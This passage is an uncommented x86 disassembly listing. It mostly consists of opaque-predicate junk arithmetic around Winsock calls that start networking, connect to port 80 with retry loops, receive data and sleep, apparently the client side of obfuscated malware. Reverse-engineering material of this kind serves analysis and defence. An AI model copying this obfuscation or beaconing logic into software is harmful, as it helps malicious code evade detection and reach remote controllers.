mov ecx, dword [esi + 0x40]
mov edi, dword [esi + 0x6c]
mov eax, dword [0x100c4b88]
xor eax, dword [0x100c4b8c]
imul eax, eax, 0xc0b8dde7
imul eax, eax, 0xd47cb590
or eax, 0x120806b8
and eax, 0xd27788c2
xor eax, 0x3d9c55b4
mov ebx, 0xc15cc772
xor edx, edx
div ebx
xor eax, 0x8d821199
and eax, 0xede2e245
sub eax, 0xd5544a25
and eax, 0xf340614a
sub eax, 0x31974476
imul eax, eax, 0x49a862b6
xor eax, 0x5ba4166b
mov ebx, 0x70d7efc3
xor edx, edx
div ebx
or eax, 0x7f822718
xor eax, 0xf3364f40
imul eax, eax, 0x4f9fe09f
sub eax, 0x9449326d
or eax, 0xfc6e4e7c
add eax, 0x9778a09e
sub eax, 0xdef62e0
and eax, 0x149a9d05
mov ebx, 0xbce9dbdf
xor edx, edx
div ebx
xor eax, 0x3dcd07fe
sub eax, 0xde4201ad
sub eax, 0xd5d57f56
imul eax, eax, 0x5dc2770f
and eax, 0x927cbde7
or eax, 0x5831be51
imul eax, eax, 0xb780b521
imul eax, eax, 0x31ef0c5d
xor eax, 0x182d3a70
and eax, 0x757edebf
sub eax, 0xbaa7c2ad
and eax, 0xe2da67b
mov ebx, 0x79e358eb
xor edx, edx
div ebx
imul eax, eax, 0xee13f35b
add eax, 0x616ec6b3
mov ebx, 0x15ceba9a
xor edx, edx
div ebx
xor eax, 0x9a070419
and eax, 0x4db7b2df
add eax, 0xaf5a790c
add eax, 0xdeca4f0
or eax, 0xdd707df4
add eax, 0x360fff07
mov ebx, 0x419d644a
xor edx, edx
div ebx
sub eax, 0x54182804
or eax, 0x6bf75018
imul eax, eax, 0xa8f12b33
xor eax, 0x7aae0f4b
xor eax, 0xcee87584
mov ebx, 0x38a43703
xor edx, edx
div ebx
imul eax, eax, 0xa1bc40e9
or eax, 0xe26f2f51
add eax, 0x7503b010
sub eax, 0x1a897491
xor eax, 0x939c755
xor eax, 0x4fe35911
imul eax, eax, 0xd2f9f395
or eax, 0xf17ded36
add eax, 0x945b492b
mov ebx, 0xdb66eead
xor edx, edx
div ebx
and eax, 0x1a34e8ec
and eax, 0x364f38e5
and eax, 0x645d1a58
sub eax, 0xbbadf185
and eax, 0x761a450c
and eax, 0x83bcda28
xor eax, 0x8b3eefd
xor eax, 0x6d1fb79b
xor eax, 0x5148016d
add eax, 0x75b97ca6
mov dword [esi + 0x24], eax
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1008dec0
mov edx, dword [esi + 0x40]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x70]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1008df50
add esp, 0xc
mov eax, dword [esi + 0x24]
cmp eax, 0xb438f0e7
ja 0x1005465f
jmp 0x10054859
mov eax, dword [esi + 0x58]
mov ecx, dword [esi + 0x74]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x78]
mov eax, dword [esi + 0x80]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20
call fcn.100709f0
mov eax, dword [esi + 0x80]
add esp, 0xc
mov dword [eax + 4], 2
mov dword [eax + 8], 1
mov eax, dword [esi + 0x78]
cmp dword [eax], 0
je 0x100548f8
mov ecx, dword [esi + 0x84]
mov edx, dword [esi + 0x80]
mov edi, dword [esi + 0x40]
mov eax, dword [esi + 0x5c]
mov eax, dword [eax]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call eax
mov ecx, eax
mov eax, dword [esi + 0x78]
mov dword [eax], ecx
jmp 0x100548b2
mov eax, dword [0x100c4b90]
xor eax, dword [0x100c4b94]
sub eax, 0xc87fb022
xor eax, 0x37a311ab
sub eax, 0x921df707
imul eax, eax, 0xfc5eae14
add eax, 0x7fb4f997
and eax, 0xc47a5ec7
sub eax, 0x6568fc38
imul eax, eax, 0xb5130916
imul eax, eax, 0xeabffe63
imul eax, eax, 0xd12582e8
imul eax, eax, 0xb4e6a875
xor eax, 0x2cec188a
mov ecx, 0xb936ea1b
xor edx, edx
div ecx
or eax, 0x7a62d79d
xor eax, 0x7142059
sub eax, 0xd1bb57fa
sub eax, 0xb7fdcc17
xor eax, 0x40be7b2d
sub eax, 0xd04a6fd0
imul eax, eax, 0x484a2fd6
or eax, 0x16e2d902
sub eax, 0xfdd91aad
add eax, 0x1966fe4d
sub eax, 0x12bb13a3
imul eax, eax, 0x451d6b4
add eax, 0x5f29e496
mov ecx, 0x9bf9f4cf
xor edx, edx
div ecx
xor eax, 0xd5afef9
mov ecx, 0x2b20f843
xor edx, edx
div ecx
or eax, 0x844c81ba
imul eax, eax, 0x57d1e7f1
sub eax, 0x2e5fd4a7
sub eax, 0x1afb300
or eax, 0x8edc1ed0
xor eax, 0x4e7c9e58
xor eax, 0xa31b314
or eax, 0xcad922ee
or eax, 0xbd45a245
sub eax, 0xce6912dc
or eax, 0x500bbd53
sub eax, 0xc417e0cf
sub eax, 0xf67b1aa2
and eax, 0xe7053603
or eax, 0x1ba4accc
imul eax, eax, 0x35fbccca
and eax, 0x8fda47b6
xor eax, 0x80b5cb08
or eax, 0x407449ae
mov ecx, 0xa37d8c61
xor edx, edx
div ecx
imul eax, eax, 0x51ff9b31
or eax, 0x589c9ba4
xor eax, 0xa766d218
mov ecx, 0x87331c2b
xor edx, edx
div ecx
mov ecx, 0x37a8bfc8
xor edx, edx
div ecx
xor eax, 0xe20e5ccc
add eax, 0x3bce2f7a
xor eax, 0x734c4031
or eax, 0xb08f5990
mov ecx, 0x10eef23d
xor edx, edx
div ecx
imul eax, eax, 0x4be10fcb
and eax, 0x15499ea
or eax, 0x700db0d
add eax, 0x3d112e3d
imul eax, eax, 0x63471273
xor eax, 0xe22d22c5
sub eax, 0xba796652
and eax, 0xb7d39f8
imul eax, eax, 0xabda655a
add eax, 0x38507861
imul eax, eax, 0xcd8ff45b
imul eax, eax, 0x44a85377
sub eax, 0x2d4ba9b
cmp eax, 0x8dba5399
jbe 0x10057e27
mov ecx, dword [esi + 0x7c]
mov edi, dword [esi + 0x84]
mov eax, dword [0x100c4b98]
or eax, dword [0x100c4b9c]
add eax, 0x91aad7b9
mov ebx, 0xeb3531f
xor edx, edx
div ebx
add eax, 0xed40636
mov ebx, 0x1d90bcce
xor edx, edx
div ebx
and eax, 0x9d4bbe3e
or eax, 0x1a0b7ec4
or eax, 0xcf6de41a
imul eax, eax, 0x98941c57
or eax, 0x99ec349c
add eax, 0xe9fd4f4a
imul eax, eax, 0x16089c2e
or eax, 0x4653055
or eax, 0xb22df683
mov ebx, 0xf1ec2907
xor edx, edx
div ebx
add eax, 0x446eeab1
and eax, 0xa404d3be
imul eax, eax, 0x15259a9a
sub eax, 0xd7d44a0
and eax, 0xece52eaa
add eax, 0x5ef875d4
mov ebx, 0x36291e3a
xor edx, edx
div ebx
mov ebx, 0xaf241a95
xor edx, edx
div ebx
xor eax, 0xc7058d64
or eax, 0x627fd165
and eax, 0x5842ec65
and eax, 0xa4d67518
imul eax, eax, 0x618a9ff2
xor eax, 0x136e5e21
add eax, 0xc2398772
mov ebx, 0x145affb4
xor edx, edx
div ebx
mov ebx, 0xcc522f91
xor edx, edx
div ebx
and eax, 0x5963da2
and eax, 0x9200fc3a
sub eax, 0x262fb583
sub eax, 0x5a1acd2e
xor eax, 0xe2ec17bd
add eax, 0xd2a47da0
and eax, 0xbb895fc2
and eax, 0xd50ff867
sub eax, 0xde08a20b
or eax, 0x14fb0c2f
sub eax, 0x7aca3f3b
add eax, 0x8e02e8cb
xor eax, 0x43be8c6c
sub eax, 0x34d3eed0
sub eax, 0x4d6e9f98
sub eax, 0xd31e705d
add eax, 0xbdcbb99e
imul eax, eax, 0x3faa20b5
add eax, 0x33dd1b93
add eax, 0x40803dfa
sub eax, 0xbaf39021
or eax, 0xcee708eb
xor eax, 0x339b60c
add eax, 0xf0c180ab
sub eax, 0x728fb696
mov ebx, 0xeb1ccfac
xor edx, edx
div ebx
and eax, 0xb3af26a1
mov ebx, 0xaae86f2d
xor edx, edx
div ebx
mov edx, dword [esi + 0x88]
mov ebx, eax
mov eax, dword [esi + 0x60]
xor ebx, 0x1b86415a
imul ebx, ebx, 0x754ad937
and ebx, 0x2f389736
xor ebx, 0x8459177d
sub ebx, 0x64e94b39
and ebx, 0x1cbb1c00
add ebx, 0x943dd151
and ebx, 0x98b4265
add ebx, 0xae881b18
or ebx, 0x4fcfb010
or ebx, 0xdc6e24e2
imul ebx, ebx, 0x811f6a
and ebx, 0x5ac7e718
mov dword [esi + 0x20], ebx
mov edi, dword [edi]
mov edi, dword [edi + 0x18]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
add edx, 4
sub esp, 0x10
mov dword [esp], 2
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0x16
call eax
mov ecx, dword [esi + 0x7c]
mov eax, dword [esi + 0x64]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x8c]
mov ecx, dword [esi + 0x128]
mov edi, eax
mov eax, dword [esi + 0x20]
mov dword [edx], edi
mov edx, dword [edx]
mov ecx, dword [ecx]
mov dword [ecx], edx
cmp eax, 0x7efda5ab
jae 0x10054aa1
jmp 0x10054cc4
mov edi, dword [esi + 0xc4]
mov ebx, dword [esi + 0xc0]
mov edx, dword [esi + 0xa4]
mov eax, dword [esi + 0x90]
mov ecx, dword [0x100c31d9]
mov dword [eax + 3], ecx
mov ecx, dword [0x100c31d6]
mov dword [eax], ecx
mov ecx, dword [esi + 0x94]
mov eax, dword [esi + 0x98]
movsd xmm0, qword [0x100c31e5]
movsd qword [ecx], xmm0
mov cl, byte [0x100c31ce]
mov byte [eax + 4], cl
mov ecx, dword [0x100c31ca]
mov dword [eax], ecx
mov ecx, dword [esi + 0x9c]
mov al, byte [0x100c31f6]
mov byte [ecx + 4], al
mov eax, dword [0x100c31f2]
mov dword [ecx], eax
mov eax, dword [esi + 0xa0]
mov ecx, dword [0x100c31c2]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0x90]
movsd xmm0, qword [0x100c31ba]
movsd qword [eax], xmm0
mov ax, word [0x100c3210]
mov word [edx + 4], ax
mov eax, dword [0x100c320c]
mov dword [edx], eax
mov eax, dword [esi + 0x120]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0xa8]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x120]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov ecx, dword [esi + 0x98]
mov edx, dword [esi + 0xac]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x120]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0xb0]
mov ecx, dword [esi + 0x9c]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x120]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov edx, dword [esi + 0xb4]
mov ecx, dword [esi + 0xa0]
add esp, 0xc
mov dword [edx], eax
mov eax, dword [esi + 0x120]
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.1003fb60
mov ecx, dword [esi + 0xb8]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x120]
mov dword [ecx], edx
mov edx, dword [eax]
xor ecx, ecx
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], ecx
mov ecx, dword [esi + 0xa4]
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1003fb60
mov edx, dword [esi + 0x128]
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0xbc]
mov dword [eax], ecx
mov ecx, dword [esi + 0xc8]
mov dword [ebx], 0x1000
mov dword [edi], 0
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [ecx + 4], edx
mov word [ecx], 2
sub esp, 4
mov dword [esp], 0x50
call dword [eax]
mov ecx, dword [esi + 0xc8]
mov edx, eax
mov eax, dword [esi + 0xa8]
mov word [ecx + 2], dx
xor ecx, ecx
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 1
mov dword [esp + 8], 0
call dword [eax]
mov edx, dword [esi + 0xcc]
mov ecx, dword [esi + 0xc8]
mov edi, eax
mov eax, dword [esi + 0xac]
mov dword [edx], edi
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xc4]
mov dword [eax], ecx
mov eax, dword [esi + 0xc4]
cmp dword [eax], 0xffffffff
jne 0x10054f63
mov ecx, dword [esi + 0xc8]
mov edx, dword [esi + 0xcc]
mov eax, dword [esi + 0xac]
mov eax, dword [eax]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x10
call eax
mov ecx, eax
mov eax, dword [esi + 0xc4]
mov dword [eax], ecx
sub esp, 4
mov dword [esp], 0x320
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10054f0b
mov edi, dword [esi + 0xcc]
sub esp, 4
mov dword [esp], 0x104
call fcn.1006d021
mov edx, dword [esi + 0xd4]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xd0]
mov dword [eax], ecx
mov ecx, dword [0x100c3223]
mov dword [edx], ecx
mov ecx, dword [0x100c3227]
mov dword [edx + 4], ecx
mov ecx, dword [0x100c322b]
mov dword [edx + 8], ecx
mov ecx, dword [eax]
sub esp, 8
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.1008dd30
mov ecx, dword [esi + 0xd0]
add esp, 8
mov eax, dword [esi + 0x40]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008dd40
mov ecx, dword [esi + 0xd0]
add esp, 8
mov eax, dword [esi + 0x44]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008dd40
mov ecx, dword [esi + 0xd0]
add esp, 8
mov eax, dword [esi + 0x3c]
mov eax, dword [eax]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008dd40
add esp, 8
mov eax, dword [esi + 0xd0]
mov ecx, dword [eax]
lea eax, [0x100b8496]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1008dd40
mov edx, dword [esi + 0xd0]
mov ecx, dword [esi + 0xb0]
add esp, 8
mov eax, dword [esi + 0xd8]
mov edx, dword [edx]
mov dword [eax], edx
mov ecx, dword [ecx]
mov dword [esi + 0x1c], ecx
mov ecx, dword [eax]
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1008dec0
mov edx, dword [esi + 0xd8]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x1c]
mov edx, dword [edx]
mov edi, dword [edi]
xor ebx, ebx
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
call eax
mov ecx, eax
mov eax, dword [esi + 0xc4]
mov dword [eax], ecx
cmp dword [eax], 0xffffffff
jne 0x100550a8
mov eax, dword [esi + 0x30]
mov dword [eax], 0
jmp 0x100572cb
mov edi, dword [esi + 0xe0]
mov eax, dword [esi + 0xdc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000
call fcn.100709f0
mov edx, dword [esi + 0xe4]
mov ecx, dword [esi + 0xe8]
mov eax, dword [esi + 0xf0]
add esp, 0xc
mov dword [edi], 0
mov dword [edx], 0
mov dword [ecx], 1
mov dword [eax], 0
mov eax, dword [esi + 0xdc]
mov ecx, dword [esi + 0xcc]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 0
call dword [sym.imp.WS2_32.dll_recv]
mov edx, dword [esi + 0xe0]
mov ecx, dword [esi + 0xdc]
mov edi, eax
mov eax, dword [esi + 0xf4]
mov dword [edx], edi
mov edx, dword [0x100c3216]
mov dword [eax], edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1004e4a0
add esp, 8
mov ecx, eax
mov eax, dword [esi + 0xf8]
mov dword [eax], ecx
cmp dword [eax], 0
je 0x100551c6
mov eax, dword [esi + 0xcc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
mov dword [esp], 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x38]
mov edx, dword [esi + 0x3c]
mov eax, dword [eax]
mov ecx, dword [ecx]
mov edx, dword [edx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.100532d0
add esp, 0xc
mov ecx, eax
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
jmp 0x100572cb
mov eax, dword [0x100c4ba0]
add eax, dword [0x100c4ba4]
and eax, 0xa2729c0c
xor eax, 0x8278a2a
and eax, 0x1a80c101
or eax, 0x868b03c7
or eax, 0x7259f49c
add eax, 0x9ebfcb0d
mov ecx, 0xa65399af
xor edx, edx
div ecx
or eax, 0xbb8e3bee
imul eax, eax, 0xcbc8b6f9
imul eax, eax, 0x10f14b73
or eax, 0x6e999809
add eax, 0xc6cebade
mov ecx, 0x63996d55
xor edx, edx
div ecx
imul eax, eax, 0x946da8e8
imul eax, eax, 0x8a15cad3
xor eax, 0xa66bfe8a
sub eax, 0x66645dbb
and eax, 0xfdd9493
xor eax, 0x9f06f6f3
sub eax, 0xa60dfa0e
add eax, 0xe972a25a
sub eax, 0x65772726
and eax, 0xa7d4358b
add eax, 0x5ec083d
xor eax, 0x23bc2d36
or eax, 0xb1a7d5c8
add eax, 0x395e7a33
or eax, 0xbc62b5ec
xor eax, 0x5dfe918b
or eax, 0x3cd1342f
add eax, 0x5c440f81
xor eax, 0x8b0c6c42
or eax, 0xd4449afa
add eax, 0x9ad38b7e
and eax, 0xaff224a1
add eax, 0x8ae8191f
sub eax, 0xc482c5b5
mov ecx, 0xb0a2ebcd
xor edx, edx
div ecx
imul eax, eax, 0xe19f60da
sub eax, 0x8796a4c9
xor eax, 0x6fc0a0d4
xor eax, 0xcbfc224
add eax, 0x3ab043e1
sub eax, 0xa0b9d5a5
xor eax, 0x9837fcb5
or eax, 0x1b437a09
add eax, 0x11c37249
mov ecx, 0x22d4e551
xor edx, edx
div ecx
add eax, 0x7d61841a
add eax, 0x86137a1f
xor eax, 0xce2579b9
and eax, 0xa35b21cd
xor eax, 0xcb254c99
xor eax, 0xfc30a51a
mov ecx, 0x779433a9
xor edx, edx
div ecx
mov ecx, 0x3918f063
xor edx, edx
div ecx
or eax, 0xa76729f9
xor eax, 0x1c12f606
xor eax, 0xf9841ff5
or eax, 0xa103075d
add eax, 0xdbab8cc9
imul eax, eax, 0x76bdcec2
xor eax, 0x656b4c0b
add eax, 0x9e83b76d
and eax, 0xb0ff9de5
imul eax, eax, 0xc827756a
and eax, 0x59b93dcd
sub eax, 0x388193cf
sub eax, 0xca333833
sub eax, 0xfe13845f
sub eax, 0x9f8c3d11
or eax, 0x5e2e6a43
cmp eax, 0x1d6bb515
jbe 0x10057e8e
mov eax, dword [0x100c4ba8]
and eax, dword [0x100c4bac]
xor eax, 0x2852be8
or eax, 0x658f1b0
imul eax, eax, 0x97848afe
xor eax, 0x74cab94b
mov ecx, 0x776766df
xor edx, edx
div ecx
and eax, 0xcfff6ad5
or eax, 0x128797c
and eax, 0x180b9617
imul eax, eax, 0xc732fd0
add eax, 0x19461699
mov ecx, 0x31b7dfd4
xor edx, edx
div ecx
imul eax, eax, 0xded442e5
add eax, 0xd859d71d
mov ecx, 0x5773ed5
xor edx, edx
div ecx
sub eax, 0x144d2faa
or eax, 0x22bcc674
imul eax, eax, 0x5025126b
or eax, 0x6095f754
or eax, 0x8af05eae
add eax, 0x5e176517
sub eax, 0xfbb20e78
mov ecx, 0x6f6e4e3e
xor edx, edx
div ecx
mov ecx, 0xaf108594
xor edx, edx
div ecx
and eax, 0xfbf703d0
mov ecx, 0xd61860e5
xor edx, edx
div ecx
add eax, 0x1c831e95
xor eax, 0x81e2310d
or eax, 0x46fa62fe
mov ecx, 0xbaec13e6
xor edx, edx
div ecx
mov ecx, 0xe0debf89
xor edx, edx
div ecx
sub eax, 0xa4c0f1f5
and eax, 0x493d908b
xor eax, 0x58d6eca6
or eax, 0xc544cf4c
mov ecx, 0x6cdae12b
xor edx, edx
div ecx
and eax, 0x24514a10
sub eax, 0xbc214235
imul eax, eax, 0xf1091846
or eax, 0x726c5681
mov ecx, 0x947a8b51
xor edx, edx
div ecx
xor eax, 0xca7b9fd3
imul eax, eax, 0xd9b28c15
and eax, 0xaa6a6268
and eax, 0xae0c733b
imul eax, eax, 0x1eb37643
xor eax, 0x980fc803
and eax, 0x8248fa67
mov ecx, 0x96af9581
xor edx, edx
div ecx
add eax, 0xd6645505
and eax, 0xe6a11a89
xor eax, 0x7c802a29
sub eax, 0x49b1f73a
imul eax, eax, 0x6e126345
xor eax, 0x3691f4fe
xor eax, 0xe3fe5fe1
and eax, 0x18493c1a
or eax, 0x3a71ae99
xor eax, 0xddd69f69
and eax, 0xdf45f9ea
and eax, 0xc5cf08ab
sub eax, 0x4a574466
and eax, 0xa375d93
and eax, 0x2cc21771
and eax, 0x13f78524
sub eax, 0xa01354d0
sub eax, 0x581b2a64
or eax, 0x65f7710e
mov ecx, 0xcc8ce134
xor edx, edx
div ecx
add eax, 0x7256af25
xor eax, 0xd3df9140
mov ecx, 0xea15ee4b
xor edx, edx
div ecx
imul eax, eax, 0xd8c72424
mov dword [esi + 0x14], eax
sub esp, 0xc
mov dword [esp], 2
mov dword [esp + 4], 6
mov dword [esp + 8], 0x24
call fcn.1002a0b0
mov ecx, dword [esi + 0xe8]
add esp, 0xc
mov eax, dword [esi + 0x14]
cmp dword [ecx], 0
setne cl
mov byte [esi + 0x1b], cl
cmp eax, 0xdabae231
je 0x10055363
mov al, byte [esi + 0x1b]
test al, 1
jne 0x10055565
jmp 0x100555ea
mov ecx, dword [esi + 0x34]
mov eax, dword [esi + 0xdc]
mov ecx, dword [ecx]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
call fcn.1003ee20
mov ecx, dword [esi + 0xec]
mov edx, dword [esi + 0x34]
add esp, 0xc
mov eax, dword [esi + 0xdc]
mov edi, dword [edx]
mov edi, dword [edi]
mov edi, dword [edi]
sub edi, 5
shr edi, 1
mov edx, dword [edx]
mov edx, dword [edx]
mov dword [edx], edi
add eax, 0x18
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x14
call fcn.1003ee20
add esp, 0xc
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1006d021
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x38]
mov eax, dword [eax]
mov dword [eax], ecx
mov eax, dword [esi + 0xfc]
mov dword [eax], 0
mov eax, dword [0x100c4bb0]
imul eax, dword [0x100c4bb4]
imul eax, eax, 0xa21fdf90
xor eax, 0xfde5161a
add eax, 0x2eb3b75
xor eax, 0x293af797
xor eax, 0xb7640c57
or eax, 0xc0ae3b07
mov ecx, 0x35e27ce2
xor edx, edx
div ecx
imul eax, eax, 0x63a9c389
mov ecx, 0x5a735d6f
xor edx, edx
div ecx
xor eax, 0xeb0f638
sub eax, 0xcf2ffc29
imul eax, eax, 0x74d123ed
sub eax, 0x665362ee
or eax, 0x6cf838f7
xor eax, 0xc688508a
xor eax, 0xd252f500
imul eax, eax, 0x3b1be67f
mov ecx, 0xf1c221e6
xor edx, edx
div ecx
imul eax, eax, 0x923afb49
add eax, 0x5bcd9e0c
xor eax, 0x7d793335
mov ecx, 0x26f27651
xor edx, edx
div ecx
and eax, 0xaed09ddc
and eax, 0xb7c2a56
or eax, 0x1d4be1db
and eax, 0x894e3a73
xor eax, 0x55876aa1
and eax, 0xb2df6c2
add eax, 0x4921d606
imul eax, eax, 0xfa56e9e9
or eax, 0x26215962
xor eax, 0x5c67c224
add eax, 0xb0f39e76
imul eax, eax, 0xf0fa347e
xor eax, 0xde76ae7a
imul eax, eax, 0xeccaa331
and eax, 0xda6cb814
xor eax, 0xd9bf6d65
sub eax, 0xeda27f3f
and eax, 0xe6c8e8c7
add eax, 0x469970b4
imul eax, eax, 0x6eac9b6d
imul eax, eax, 0xfae1c7e0
imul eax, eax, 0xf043f15e
mov ecx, 0xdf258129
xor edx, edx
div ecx
sub eax, 0x432861ec
add eax, 0x68cd241
mov ecx, 0x5cce890c
xor edx, edx
div ecx
mov ecx, 0x2e50c991
xor edx, edx
div ecx
sub eax, 0xb56ece22
sub eax, 0x448e5d9e
imul eax, eax, 0xc95656f
and eax, 0x80d0a607
xor eax, 0x555325df
xor eax, 0x18c2378
sub eax, 0x46eed592
mov ecx, 0x58caa47a
xor edx, edx
div ecx
mov ecx, 0x8969dead
xor edx, edx
div ecx
add eax, 0x3bbba45c
xor eax, 0xd3dfedad
and eax, 0x8a67cee8
imul eax, eax, 0x3d905f45
imul eax, eax, 0x569a3f1c
and eax, 0x812997cb
sub eax, 0xb13c1e2f
and eax, 0xabbdfc2a
or eax, 0xc86868ce
sub eax, 0x2601aaa
and eax, 0x75fc0be5
and eax, 0xa8bec2ec
imul eax, eax, 0xa7a94db8
or eax, 0x5fff188b
cmp eax, 0x422760fd
jb 0x10057eb5
mov ecx, dword [esi + 0xfc]
mov eax, dword [0x100c4bb8]
and eax, dword [0x100c4bbc]
or eax, 0xe23859e3
sub eax, 0x7e93eaf4
add eax, 0xe6bbff8f
imul eax, eax, 0xb273daa4
xor eax, 0xf2a8a9da
mov edi, 0xf599877d
xor edx, edx
div edi
mov edi, 0x7e2165a
xor edx, edx
div edi
or eax, 0x334f9a4b
or eax, 0x83b6bb8
or eax, 0x95198837
and eax, 0xc9f0e046
sub eax, 0x9ba36436
mov edi, 0x96a66e9d
xor edx, edx
div edi
add eax, 0x8f7d0141
mov edi, 0x295fccf
xor edx, edx
div edi
sub eax, 0xb21b26de
sub eax, 0xa45d1e97
and eax, 0x568692ca
xor eax, 0x1a3399d
add eax, 0xe59e8a7e
or eax, 0x43825b82
add eax, 0x47d79ca5
sub eax, 0x7e22eff2
add eax, 0xaf88be09
sub eax, 0x7b0a764a
and eax, 0x47818569
add eax, 0x5d0aa86d
sub eax, 0x53731558
imul eax, eax, 0xe9b9619a
sub eax, 0x50c20db0
xor eax, 0xd0556336
and eax, 0x67850327
sub eax, 0x8b1f8f66
imul eax, eax, 0x6cbc22a1
add eax, 0x835f17f9
imul eax, eax, 0xe311e521
and eax, 0x90cfb6a4
or eax, 0xd7ce418d
imul eax, eax, 0x283a51f8
and eax, 0xc493c1df
and eax, 0x80598bb8
sub eax, 0xf0361c09
or eax, 0x1bad5e5
add eax, 0xbf2ea3f8
imul eax, eax, 0xfe3c5241
mov edi, 0xb07c6790
xor edx, edx
div edi
add eax, 0xb7615687
and eax, 0xc07cfe72
imul eax, eax, 0x824a4699
imul eax, eax, 0xdec38a9f
xor eax, 0xdf117f0b
and eax, 0x4d84de33
add eax, 0x8537bf5c
add eax, 0x8d908825
imul eax, eax, 0x18a7e94a
xor eax, 0x13ac951f
mov edi, 0x9a598346
xor edx, edx
div edi
imul eax, eax, 0xc2c35a66
add eax, 0x3e68aed8
sub eax, 0xf6371975
add eax, 0x1000de90
and eax, 0xddce7bde
add eax, 0x541f2030
mov edi, 0xd03ae771
xor edx, edx
div edi
xor eax, 0x47753066
mov edi, 0x1780a0fa
xor edx, edx
div edi
mov edi, 0xbbb0d96f
xor edx, edx
div edi
and eax, 0x87a99ba0
add eax, 0xa228191c
mov edi, 0x1defdc1e
xor edx, edx
div edi
mov edi, 0x6caf1c55
xor edx, edx
div edi
mov edx, dword [esi + 0xe0]
imul eax, eax, 0x42e777a2
mov ecx, dword [ecx]
cmp ecx, dword [edx]
setl cl
mov byte [esi + 0x13], cl
cmp eax, 0xcadbc176
je 0x10057eb5
mov al, byte [esi + 0x13]
test al, 1
jne 0x10055983
jmp 0x1005679d
mov eax, dword [esi + 0xe8]
cmp dword [eax], 0
je 0x10056081
mov eax, dword [0x100c4bc0]
imul eax, dword [0x100c4bc4]
add eax, 0xc819f493
xor eax, 0x1f54c90d
and eax, 0x176a9b5b
or eax, 0xca4ca7ce
imul eax, eax, 0xd45a5fd2
